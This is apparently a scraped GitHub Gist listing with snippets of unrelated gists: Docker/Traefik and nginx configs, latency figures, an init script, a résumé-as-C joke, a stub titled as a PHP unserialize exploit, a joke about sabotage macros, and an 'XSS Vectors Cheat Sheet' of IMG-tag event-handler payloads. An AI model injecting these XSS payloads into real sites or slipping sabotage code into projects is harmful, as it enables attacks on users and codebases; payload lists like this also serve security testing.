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johnharris85 / multi-traefik-swarm.yml
Created Oct 25, 2017
Multiple Traefik instances in a single Docker swarm using constraints
View multi-traefik-swarm.yml
# for i in traefik-net traefik-net2; do docker network create -d overlay $i; done
# docker stack deploy -c all-in-one-stack.yml multi-traefik-test
# traefik1 - UI: 8010, App: 8001
# traefik2 - UI: 8020, App: 8002
version: "3.1"
image: traefik:1.4
kurobeats / xss_vectors.txt
Last active Dec 4, 2020
XSS Vectors Cheat Sheet
View xss_vectors.txt
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
allyshka / test.php
Created Feb 10, 2017
PHP < 5.6.30 GMP unserialize() test exploit.
View test.php
class obj
var $test;
function __wakeup()
$this->test = 1;
sergey-dryabzhinsky / nginx-vhost-proxprox.conf
Last active Nov 17, 2020
Nginx virtual host config for Proxmox. To hide pveproxy on 8006 port behind. With working VNC passthrough.
View nginx-vhost-proxprox.conf
# Nginx vhost file to hide Proxmox pveproxy
# For 3.4+, 5.x version.
# Do not forget to create file
# /etc/default/pveproxy:
# DENY_FROM="all"
# POLICY="allow"
aras-p / preprocessor_fun.h
Last active Dec 2, 2020
Things to commit just before leaving your job
View preprocessor_fun.h
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
klange /
Last active Dec 2, 2020
It's a résumé, as a readable and compilable C source file. Since Hacker News got here, this has been updated to be most of my actual résumé. This isn't a serious document, just a concept to annoy people who talk about recruiting and the formats they accept résumés in. It's also relatively representative of my coding style.

Since this is on Hacker News and reddit...

  • No, I don't distribute my résumé like this. A friend of mine made a joke about me being the kind of person who would do this, so I did (the link on that page was added later). My actual résumé is a good bit crazier.
  • I apologize for the use of _t in my types. I spend a lot of time at a level where I can do that; "reserved for system libraries? I am the system libraries".
  • Since people kept complaining, I've fixed the assignments of string literals to non-const char *s.
  • My use of type * name, however, is entirely intentional.
  • If you're using an older compiler, you might have trouble with the anonymous unions and the designated initializers - I think gcc 4.4 requires some extra braces to get them working together. Anything reasonably recent should work fine. Clang and gcc (newer than 4.4, at le
jboner / latency.txt
Last active Dec 4, 2020
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers (~2012)
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
danmackinlay /
Created Aug 27, 2009
an init.d script for supervisord
#! /bin/sh
# Provides: supervisord
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Example initscript
# Description: This file should be used to construct scripts to be
# placed in /etc/init.d.
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